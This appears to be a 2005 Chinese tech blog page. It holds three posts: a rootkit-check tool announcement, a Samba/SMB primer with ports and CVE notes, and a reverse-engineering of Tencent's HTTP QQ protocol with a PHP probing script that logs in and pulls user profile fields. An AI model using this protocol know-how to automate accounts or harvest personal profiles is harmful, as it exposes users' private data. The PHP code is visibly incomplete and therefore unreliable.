2005年08月30日

附:前面是上传到xfocus上面去的,不知道怎么,晚上又被删除了,而且没一点解释.即使做的再没技术含量,再烂,我觉得删除之前有必要通知一下作者的. 这一点我很想知道焦点的那些牛人们怎么看的.


^_^

作        者:ZwelL
工具分类:完整检查
运行平台:Windows
工具大小:5120 Bytes
文件MD5 :6903518ac7c2df9a679aa9fd818a265d
工具来源:http://www.donews.net/zwell

SSDT Checker v1.0是仿照IceSword中的SSDT功能做出来的一款检查系统服务描述表完整性的小工具。

不知道pjf的思路跟我这个是不是一样的。



本工具由tinyframe项目生成,最终大小为5K。

>> 下载 <<


如果某一个函数被更改了,就会在该函数名后加上"<-"-标志
运行效果:
=========================================================================
                                                       SSDT checker v1.0
                                                          Made By ZwelL
                                               http://www.donews.net/zwell
                                                         zwell@sohu.com
=========================================================================
Index   Original            Current             Function
0×0     0×8058f2de      0×8058f2de      NtAcceptConnectPort
0×1     0×80578ded      0×80578ded      NtAccessCheck
0×2     0×8059245b      0×8059245b      NtAccessCheckAndAuditAlarm
0×3     0×80590080      0×80590080      NtAccessCheckByType
0×4     0×8059ba37      0×8059ba37      NtAccessCheckByTypeAndAuditAlarm
…………………
…………………
0xac    0×8064fea8      0×8064fea8      NtQuerySystemEnvironmentValueEx
0xad    0×805854aa      0xf888218a      NtQuerySystemInformation<—
0xae    0×8059bac8      0×8059bac8      NtQuerySystemTime
…………………

…………………

2005年08月29日

Samba 簡介

Samba 是為使用 TCP/IP 作為基本傳輸協定的 Windows-based 用戶端而設的檔案和列印伺服器,事實上。它可以支援任何 SMB/CIFS-enabled

的用戶端,Samba 其中一項優點是,無須一個獨立的 Windows NT/2000/2003 伺服器,也可以將 Windows 和 Linux

電腦混在一起。Samba 現正由全球一隊約 30 人的程式員開發,最初由Andrew Tridgell 開發。

背景

很久以前,有一術語是指 DCE/RPC,表示 Distributed Computing Environment/Remote Procedure

Calls,而理論上是一個很好的注意。它最初由 Apollo/HP 為 NCA 1.0 (Network Computing Architecture)

開發,只會在 UDP 上運行。當有需要執行 TCP 時,它可以兼容 DECnet 3.0,新重設計後提交 Open Group,官方成為 DCE/RPC。Microsoft

決定不向這科技付  $20 per seat 版權,而重新自己實行 DCE/RPC 為 MSRPC。從這兒開始,概念會以 SMB (Server

Message Block 或 "what") 形式繼續,使用 NetBIOS (Network Basic Input/Output System

網絡基本輸入/輸出系統或"how") 兼容層級。您可以在幾個不同的協定上執行 SMB (即傳輸);很多不同的實行會以結果形式出現,包括 NBIPX

(NetBIOS over IPX, NwLnkNb  或 NWNBLink) 以及 NBT (NetBIOS over TCP/IP  或

NetBT)。經過幾年後,NBT 成為最普遍的執行形式,直至"Direct-Hosted TCP"的出現 –  Microsoft 為完全消除

NetBIOS 的市場術語,並只在 TCP port 445 上運行 SMB。但現在,direct-hosted TCP 還未趕及。

可能 SMB 源頭最好的總結是在 1997 發表,題為 CIFS: Common

Insecurities Fail Scrutiny
的文章:

幾 megabytes 的 NT 保安檔案、隨意的 whitepapers、RFCs、CIFS 規格、Samba

的東西、一些MS knowledge-base 的文章、由二進元提取的字串及 packet dumps 已忠實地在本計劃收集資料的階段中吃力地讀完,而且仍然有很多遺漏了的部分…

那些通常是冗長乏味的,至少方法已被慷慨亂丟,有人在面前拍掌呢喃:「呀,他們在想甚麼呢?」

術語

  • SMB: "Server Message Block"的縮寫,這是Microsoft 的檔案和列印分享協定。

  • CIFS: "Common Internet File System" 的縮寫,大約 1996 年,Microsoft 顯然決定 SMB

    需要包含 "Internet" 字眼,因此改為 CIFS。

  • Direct-Hosted: 只在 port 445/tcp 上提供檔案/印表機分享服務的方法,使用 DNS 取代 WINS 分析名稱。

  • IPC:  "Inter-Process Communication" 的縮寫,在特定資料與程式之間溝通的方法。

  • Marshalling: –  適合透過網絡連線或儲存在檔案中,變數資料的連載方法 (即順序)。來源資料可以透過類似的程序稱為 unmarshalling

    重新建立。

  • NetBIOS: "Network Basic Input/Output System" 的縮寫,這不是一個協定;而是在現有協定中溝通的方法。這是一個標準,最初在

    1983 年由 Sytek 為 IBM 開發。要將類比誇張一點,它可以幫助您與電腦的 BIOS 比較 — 它控制最輸入/輸出硬件最重要的功能

    — 而 NetBIOS 則透過網絡控制輸入/輸出流量的功能。同樣,這是有點誇張,但它應該有助範例轉移。重要的是要知道 NetBIOS 是一個輸輸標準,而不是協定。可惜即使是技術非凡的人,想也不想也會傾向將

    NetBIOS 和 NetBEUI混亂,這會引致沒有終結的 (而且毫無疑問的) 混淆。

  • NetBEUI: "NetBIOS Extended User Interface" 的縮寫,與 NetBIOS 不同,NetBEUI

    是一個協定,而不是一種標準。而且它不能路由,因此路由器上一端的流量會無法與另一端溝通。了解 NetBEUI對解譯 SMB 來說並不重要,但它有助指出它與

    NetBIOS 是不一樣的,並在每一方面都有改善。NetBEUI 最初由 Microsoft 指為 "NBF" 或 "The Windows

    NT NetBEUI Frame protocol driver",近來似乎不常聽見。

  • NBT: "NetBIOS over TCP" 的縮寫,亦稱為 "NetBT",允許在 TCP/IP 上繼續使用 NetBIOS 流量,結果

    ,NetBIOS 名稱就加進了  IP 位址,而 NetBIOS 名稱種類理論上相等於 TCP/IP ports。這就是檔案和列印分享在 Windows

    95/98/ME 完成的方法,傳統上它們依賴三個 port:透過 UDP port 137 的 NetBIOS Name Service

    (nbname)、透過 UDP port 138 的 NetBIOS Datagram Service (nbdatagram)及透過  TCP

    port 139 的 NetBIOS Session Service (nbsession)。所有名稱解析都是透過 WINS, NetBIOS

    廣播和 DNS 做到, NetBIOS over TCP 在 RFC 1001 (概念和方法) 及 RFC 1002 (詳細規格)有詳細說明。

  • W2K: Windows 2000 Professional 或 Server 的縮寫

  • W3K: Windows 2003 Server 的縮寫

如果您打算尋求協助,請確定已訂閱 Samba Mailing List (可在 http://www.samba.org 找到)。您亦可選擇只在http://groups.google.com

搜尋 mailing.unix.samba 。

相關計劃

現時,有兩個計劃直接與 Samba 有關:為 Linux 而設的 SMBFS 和 CIFS 網絡用戶端檔案系統,兩者都可在 Linux 核心本身找到。

  • SMBFS (Server Message Block File System 伺服器訊息區塊檔案系統) 允許您掛載 SMB 分享

    ( Microsoft Windows 及 OS/2 Lan Manager 用來在網絡上分享檔案和印表機的協定),並如其他 Unix 目錄般存取。如果您只想掛載檔案系統而不想成為

    SMBFS 伺服器,這是很有用的。

  • CIFS (Common Internet File System 一般互聯網檔案系統) 是 SMB 的後繼者,正積極開發下一版本的

    Linux 核心。這個模組的目的是要提供進階的檔案系統功能,包括支援 dfs (結構性的名稱空間)、保護每個使用者登入的通道 、安全分發快取 (oplock)、可選封包簽署、Unicode

    和其他國際化的改進,及可選的Winbind (nsswitch) 整合。

同樣,這些是用戶端檔案系統的實行,與為 SMB/CIFS 用戶端作為一個檔案和列印伺服器沒有關係。 

SMB 方法

SMB 代表 Server Message Block,是分享檔案、印表機、序列埠和電腦之間的溝通提取如 named pipes 和 mail

slots 的一般協定。Microsoft 落實自己 SMB協定的形式,在所有 Windows 版本提供檔案和列印分享。

傳統上,SMB 使用以下服務:



協定 服務 描述
tcp/udp 135              RPC Endpoint Mapper (loc-srv)

DCE Endpoint Resolution (epmap)

NSC Local Location Broker (loc-srv)

Location Service (loc-srv)
Remote Procedure Call (RPC) 服務一般由分佈式應用程式如

SQL server 和 Exchange server 使用,RPC 服務動態地分派 TCP 和 UDP 埠。RPC Endpoint Mapper

服務提供 RPC 服務及它們獲分派的埠之間的對應。因此當用戶端要求利用 RPC 存取服務時,它必須先要求從 RPC Endpoint Mapper

的埠對應,然後直接與服務溝通。
udp 137 NetBIOS Name Service (netbios-ns) 將 NetBIOS 名稱翻譯為 IP 位址,就像 DNS 一樣,這服務有幾個缺點:在

Samba  2.2.0a 之前的 smb.conf 設定檔案中的目錄經過在 %m macro,允許遠端攻擊者透過 NETBIOS名稱中的 .

覆寫特定的檔案,用作日誌檔案的名稱 (CVE-2001-1162);NetBIOS Name Server (NBNS) 協定不會執行認證,允許遠端攻擊者透過傳送哄騙的

Name Conflict 或 Name Release 資料報,引致拒絕服務,這就是 "NetBIOS Name Server Protocol

Spoofing" 弱點 (CVE-2000-0673);在 Samba NETBIOS 名稱服務 daemon (CVE-1999-0810)的拒絕服務;在

WINS 的拒絕服務,有變了形的資料往埠 137 (CVE-1999-0288),有幾種 trojan virus 也使用這埠 (tcp/udp

兩者都是),包括 Chode, Qaz 和 Msinit。
udp 138 NetBIOS Datagram Service

(netbios-dgm)
trojan virus Chode 亦使用這埠 (只是 tcp)。
tcp 139 NetBIOS Session Service

(netbios-ssn)
檔案和列印資料傳輸,這個服務有幾個缺點,大部分是就 Windows 而言 (不是

Samba),有幾種 trojan virus 也使用這埠,包括 Chode, GodMessageworm, Msinit, Netlog,

Network, Qaz, Sadmind 和 SMBRelay。
tcp 445 Direct Hosted Service (microsoft-ds)

Win2k+ Server Message Block (microsoft-ds)
W2K/WinXP/Win2003 檔案及列印資料分享的新方法,這服務還有幾個 Denial-of-Service

的缺點,大部分就 Windows 而言(不是 Samba)。

當登入的使用者嘗試連接遠端的電腦網絡分享,例如 \\server\myshare,Windows 用戶端會在向使用者取得任何使用者名稱或密碼前,自動傳送登入使用者的登入資料至

SMB 伺服器,在這步驟,如果認證失敗,Windows 會彈出一個視窗,詢問使用者名稱和密碼。

一般來說,SMB 對話以下列次序建立:

  • "TCP Connection" – 建立 3-way handshake (連線) 至 port 139/tcp 或 445/tcp。

  • "NetBIOS Session Request" – 使用下列 "Calling Names":本機的 NetBIOS name

    加上第十六個字元 16th character 0×00:伺服器的 NetBIOS name 加上第十六個字元 0×20

  • "SMB Negotiate Protocol" – 決定使用的協定方言,會是以下其中一項:PC Network Program 1.0

    (Core) – 只是分享層級保安模式;Microsoft Networks 1.03 (Core Plus) – 只是分享層級保安模式;Lanman1.0

    (LAN Manager 1.0) – 使用 Challenge/Response Authentication;Lanman2.1 (LAN

    Manager 2.1) – 使用 Challenge/Response Authentication; NT LM 0.12 (NT LM 0.12)

    - 使用 Challenge/Response Authentication

  • SMB 對話啟動,密碼會按以下其中一種方法加密 (或不加密): Null (沒有加密);Cleartext (沒有加密); LM

    和 NTLM;NTLM;NTLMv2。接著密碼會弄亂並傳送給要求對話的電腦 (諷刺地,這步驟會在要求密碼前做)。

  • SMB Tree Connect:連接分享的名稱 (例如: \\servername\share);連接至一種服務類型 (例如: IPC$

    named pipe)

深入檢查這過程的一個好方法,就是嘗試在 http://www.securityfriday.com/ToolDownload/SWB/swb_doc.html

上 SecurityFriday  的 SWB 程式。它讓您可以逐步經過建立 SMB/CIFS 對話的過程。

額外資源

鳴謝

  • 本文頂部的圖示由"Sluggite Bob" 建立,"Sluggy Freelance" 是 © Pete Abrams。
  • Rob Muggridge 有關加密密碼的事項及 Win95
  • Chuck Theobald 提供 xinetd 的設定檔案
  • Petr Spatka 提供一些 PDC 設定檔案結合的意念
  • NULL Passwords 的資料從 http://www.softheap.com/security/session-access.html

    收集回來

結語

"基本上的錯誤是,當人們做到了以後就不會有任何感覺。Microsoft 做了很多令使用者界面好看,但內部卻是一團糟,即使是為 Microsoft

編程有經驗的人,也不知道它內部怎麼運作。更甚的是,沒有人敢改變它,沒有人敢除蟲,因為它就是一團糟,解決一個錯誤,就是打散依賴該錯誤的百多個程式。而

Microsoft 又對除蟲沒有興趣  — 他們對賺錢有興趣,他們沒有人會為 Windows 95 作為作業系統而感到自豪。

Microsoft 內的人知道這是個很差的作業系統,但他們仍然繼續明顯地運作,因為要推出下一個版本,集合所有新特色,將系統賣得更多。

問題是過了一段日子,當您有這種方向,因為沒有人了解它,沒有人真正除蟲

(除非真是很明顯的錯),最終結果真的一團糟。您不能相信它,因為在某種情況下,它自然會重新開機或在工作中突然關機。一般它會運作良好,但偶然會完全不

知原因而死機,沒有人知道原因。不是Microsoft、不是有經驗的使用者、當然也不會是全無頭緒的使用者,可能會坐著顫抖的想:「我做錯了甚麼?」事

實上他們沒有做錯甚麼。

這就是真正煩擾我的事情。"

– Linus Torvalds  在 1998年 9月 BOOT Magazine 的訪問

2005年08月22日

作者:Hackfan

日期:2005.8.21凌晨

联系:QQ:106814 Email:hackfan@vip.sina.com



1、研究说明



  Tencent在tqq.tencent.com的8000有一个使用HTTP的QQ接口,通过这个接口,可以进行一些基本的操作,如:登
陆、登出、改变登陆状态(上线、忙碌、离线、隐身)、添加删除好友、查看好友信息、发送验证信息(接受被加为好友、申请加对方为好友、拒绝被加为好友)、
收发用户消息、系统信息。



  目前我研究的是1.1版本的HTTP QQ协议,研究是微程在的成果上进行的,不敢说有什么超越,只不过更为详细和准确。



2、接口说明:



  接口位置:tqq.tencent.com:8000

  通信协议:HTTP

  数据传输方法:POST

  HTTP请求格式:



POST HTTP/1.1

Host: tqq.tencent.com:8000

Content-Type: text/plain; charset=UTF-8

Content-length: 长度

Connection: close



数据



  其中长度为 数据 的长度,数据的格式:

  VER=1.1&CMD=命令&SEQ=标记&UIN=QQ号&….



  以上4个参数是每个请求都必有的。其中,VER表示协议的版本,目前为1.1,据说1.2已经出来了,这个乱写的话,服务器返回NULL;
CMD为操作的指令,有Login、List、Query_Stat、GetInfo、AddToList、Ack_AddToList、
DelFromList、Change_Stat、GetMsgEx、CLTMSG、Logout;SEQ为当前请求的标记,防止重复发送,可以用当前时
间,也可以用随机数;UIN是当前执行操作的QQ号。不过不同的CMD还需要不同的参数,下面我就公布我的研究成果。



3、研究方法:



  我对目前网上的资料不够满意,就自己写程序,发送多条相同CMD不同参数的请求,根据服务器的返回,来做判断。感兴趣的朋友可以参考一下,此处可以跳过。

  下面我公布我探测的代码(PHP):



[code:1:1bbf2dec18]

<?

$uin = "QQ号";

$pwd = md5("QQ密码");



//登陆测试

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=1&LC=9326B87B234E7235";

//注意:登陆测试不能同时进行,必须等到服务器认为QQ断开了,才能够测试,不然结果不可信

/*******

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=0&LC=9326B87B234E7235";

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=1&LC=9326B87B234E7235";

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=2&LC=9326B87B234E7235";

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M5=3&LC=9326B87B234E7235";

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M6=1&LC=9326B87B234E7235";

$poststring[] = "VER=1.1&CMD=Login&SEQ=".rand(1000,9000)."&UIN=".$uin."&PS=".$pwd."&M6=1&LC=1223423545756679";

*******/





//得到好友列表

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin;

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=List&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=106814";



//得到在线列表

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin;

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=160&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=".rand(1,200)."&UN=0";

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=".rand(1,10);

$poststring[] = "VER=1.1&CMD=Query_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&TN=0&UN=106814";



//查看好友信息

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=0&UN=106814";

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=1&UN=106814";

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=2&UN=106814";

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=3&UN=106814";

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=4&UN=106814";

$poststring[] = "VER=1.1&CMD=GetInfo&SEQ=".rand(1000,9000)."&UIN=".$uin."&LV=5&UN=106814";



//增加好友

$poststring[] = "VER=1.1&CMD=AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814";



//发送验证

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=0&RS=TEST";

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=1&RS=TEST";

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=2&RS=TEST";

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=3&RS=TEST";

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=4&RS=TEST";

$poststring[] = "VER=1.1&CMD=Ack_AddToList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&CD=5&RS=TEST";



//删除好友

$poststring[] = "VER=1.1&CMD=DelFromList&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814";



//改变状态

for($i=0;$i<=60;$i=$i+5)

{

$poststring[] = "VER=1.1&CMD=Change_Stat&SEQ=".rand(1000,9000)."&UIN=".$uin."&ST=".$i;

}



//获得消息

$poststring[] = "VER=1.1&CMD=GetMsgEx&SEQ=".rand(1000,9000)."&UIN=".$uin."";



//发送消息

$poststring[] = "VER=1.1&CMD=CLTMSG&SEQ=".rand(1000,9000)."&UIN=".$uin."&UN=106814&MG=TEST";



//登出

$poststring[] = "VER=1.1&CMD=Logout&SEQ=".rand(1000,9000)."&UIN=".$uin."";



$file = fopen("p.txt","w");



foreach($poststring as $k=>$v)

{

ss_timing_start();

$fp = fsockopen('tqq.tencent.com', '8000', $errno, $errstr, $timeout = 10); 



if(!$fp){ 

 //error tell us 

 $content = $k.chr(13).chr(10)."ERROR:$errstr ($errno)"; 

   

}else{ 



  //send the server request 

  fputs($fp, "POST HTTP/1.1\r\n"); 

//  fputs($fp, "Host: $host\r\n"); 

//  fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n"); 

  fputs($fp, "Content-length: ".strlen($v)."\r\n"); 

  fputs($fp, "Connection: close\r\n\r\n"); 

  fputs($fp, $v . "\r\n\r\n"); 



  //loop through the response from the server 

  $res = "";

  while(!feof($fp)) { 

   $res .= fgets($fp, 4096); 

  } 

  //close fp - we are done with it 

  fclose($fp); 



  $content = $v.chr(13).chr(10).$res;



ss_timing_stop(); 


$content .= chr(13).chr(10)."Time: ".ss_timing_current().chr(13).chr(10)."--------------------------------------".chr(13).chr(10);

fputs($file,$content);

}

fclose($file);

?>

<?

function ss_timing_start ($name = "default") { 

global $ss_timing_start_times; 

$ss_timing_start_times[$name] = explode(' ', microtime()); 



function ss_timing_stop ($name = "default") { 

global $ss_timing_stop_times; 

$ss_timing_stop_times[$name] = explode(' ', microtime()); 



function ss_timing_current ($name = "default") { 

global $ss_timing_start_times, $ss_timing_stop_times; 

if (!isset($ss_timing_start_times[$name])) { 

return 0; 



if (!isset($ss_timing_stop_times[$name])) { 

$stop_time = explode(' ', microtime()); 



else { 

$stop_time = $ss_timing_stop_times[$name]; 



$current  =  $stop_time[1]-$ss_timing_start_times[$name][1]; 

$current += $stop_time[0]-$ss_timing_start_times[$name][0]; 

return $current; 



?>

[/code:1:1bbf2dec18]



4、研究成果:



(1).登陆

  说明:在你做任何其他操作以前,你必须登陆。只有在登陆以后,你的其他指令才有可能被正确执行(返回RES=0),不然服务器会返回RES=
20,不过有个例外,就是logout。当你成功登陆以后,服务器就会根据你的IP*和参数中的UIN来验证身份。一台电脑可以同时登陆多个QQ,互不影
响,就是因为有参数UIN。

  *至于我能够确定服务器是通过IP来验证的,是因为服务器不可能通过我的请求获得其他信息了^_^



  提交数据:VER=1.1&CMD=Login&SEQ=标记&UIN=QQ号&PS=QQ密码&M5=1&LC=9326B87B234E7235

  说明:QQ密码是通过md5加密的字符串,在PHP中可以直接用md5()进行加密;

     M5这个参数的作用还不清楚,但最好为1。

     LC这个参数有点神秘,不能有丝毫改动,不然服务器就没有响应(没有响应就是返回NULL)。



  返回:VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=0&HI=60&LI=300(成功)

     VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=0&RS=1&RA=密码错误(密码错误)

     VER=1.1&CMD=LOGIN&SEQ=标记&UIN=QQ号&RES=5(QQ号非法,如100)

     NULL(UIN为字符、PS为空、LC错误)



(2).得到好友列表

  提交数据:VER=1.1&CMD=List&SEQ=标记&UIN=QQ号&TN=160&UN=0

  说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响



  返回:VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=9(当TN=0或没有TN参数时,FN表示好友数)

     VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=0&FN=
1&SN=9&UN=3814526,...,(当TN存在且非0时,FN=1,SN表示好友数,UN为好友列表,用","分割)

     VER=1.1&CMD=LIST&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、TN、UN为字符)



(3).得到在线好友列表

  提交数据:VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号&TN=50&UN=0

  说明:TN、UN还不清楚具体表示什么,但是TN的值会影响返回的结果,有没有UN对结果没有影响



  返回:VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=
0&FC=0,&FN=1&SN=1&ST=10,&UN=106814,&NK=Hackfan 
好,(当TN存在且非0时,FN=1,SN表示在线好友数,FC、ST、UN、NK的值用','分割,分别表示头像、状态、号码、昵称)

     VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、TN、UN为字符)

  说明:FC为QQ头像的的ID,如的头像ID为270,那么其头使用的图片为91.bmp,其算法为ID/3+1;

     ST为QQ用户的状态,10为上线,20为离线(或隐身),30为忙碌;



  特别说明:当参数TN=0或不存在时,服务器返回:

VER=1.1&CMD=Query_Stat&SEQ=标记&UIN=QQ号

HTTP/1.1 200 OK

Server: tencent imserver/1.0.0

Content-Type: text/plain; charset=UTF-8

Content-Length: 56



VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FN=1

HTTP/1.1 200 OK

Server: tencent imserver/1.0.0

Content-Type: text/plain; charset=UTF-8

Content-Length: 77



VER=1.1&CMD=QUERY_STAT&SEQ=标记&UIN=QQ号&RES=0&FC=&FN=1&SN=0&ST=&UN=&NK=

  返回了2次,第一次的结果中,FN为在线好友数,第二次返回的数据基本没用。



(4).查看好友信息

  提交数据:VER=1.1&CMD=GetInfo&SEQ=标记&UIN=QQ号&LV=查询类型&UN=被查询QQ号码

  说明:LV=0,1为精简查询,LV=2为普通查询,LV>=3为详细查询



  返回:VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&LV=0&UN=106814&NK=Hackfan 好(精简查询)

     VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD
=地址&AG=19&EM=hackfan@qq.com&FC=0&HP=http:
//blog.hackfan.net&JB=学生

&LV=2&PC=邮编&PH=电话&PR=
The guy is updating to .NET Frameword......&PV=江苏&RN=胡吉阳&SC=
毕业院校&SX=0&UN=106814&NK=Hackfan 

好(普通查询)

     VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=0&AD
=地址&AG=19&BT=2&CO=6&CT=苏州&CV=%01&CY=中华人民共和国

&EM=hackfan@qq.com&FC=0&HP=http://blog.hackfan.net&ID
=-&JB=学生&LV=3&MO=136********&MT=0&MV=&PC=邮编&
PH=电话&PR=The guy is 

updating to .NET Frameword......&PV=江苏&RN=胡吉阳&SC=毕业院校&SH=3&SX=0&UN=106814&NK=Hackfan 好(详细查询)

     VER=1.1&CMD=GETINFO&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、LV、UN为字符)



  说明:AD为联系地址

     AG为年龄

     BT为血型

     CO为星座

     CT为城市

     CV为未知*

     CY为国家

     EM为Email

     FC为头像

     HP为网站

     ID为未知

     JB为职业

     LV为查询代码(就是发送的LV)

     MO为移动电话

     MT为未知

     MV为未知

     PC为邮编

     PH为联系电话

     PR为简介

     PV为省

     RN为真实姓名

     SC为毕业院校

     SH为生肖

     SX为性别

     UN为QQ号

     NK为昵称



     血型:0 => '',

        1 => 'A型',

        2 => 'B型',

        3 => 'O型',

        4 => 'AB型',

        5 => '其他'





     星座:0 => '',

        1 => '水瓶座',

        2 => '双鱼座',

        3 => '牡羊座',

        4 => '金牛座',

        5 => '双子座',

        6 => '巨蟹座',

        7 => '狮子座',

        8 => '处女座',

        9 => '天秤座',

        10 => '天蝎座',

        11 => '射手座',

        12 => '摩羯座'



     生肖:0 => '',

        1 => '鼠',

        2 => '牛',

        3 => '虎',

        4 => '兔',

        5 => '龙',

        6 => '蛇',

        7 => '马',

        8 => '羊',

        9 => '猴',

        10 => '鸡',

        11 => '狗',

        12 => '猪'



     性别:0 => '男',

        1 => '女'



(5).增加好友

  提交数据:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号



  返回:VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=0&UN=对方QQ号(允许被加为好友,此时他已经是你的好友)

     VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=1&UN=对方QQ号(需要验证)

     VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=0&CD=2&UN=对方QQ号(决绝被加为好友)

     VER=1.1&CMD=AddToList&SEQ=标记&UIN=QQ号&RES=20(没有正确登陆)

     NULL(UIN、UN为字符)



(5).发送验证

  说明:1、如果你加对方为好友,你需要发送验证

     2、对方加你为好友,发送了验证,你要通过或者拒绝

     这2种情况需要发送验证消息



  提交数据:VER=1.1&CMD=Ack_AddToList&SEQ=标记&UIN=QQ号&UN=对方QQ号&CD=验证类型&RS=理由

  说明:CD为0表示“通过验证”,CD为1表示“拒决加为对方为好友”,CD为2表示“为请求对方加为好友”。



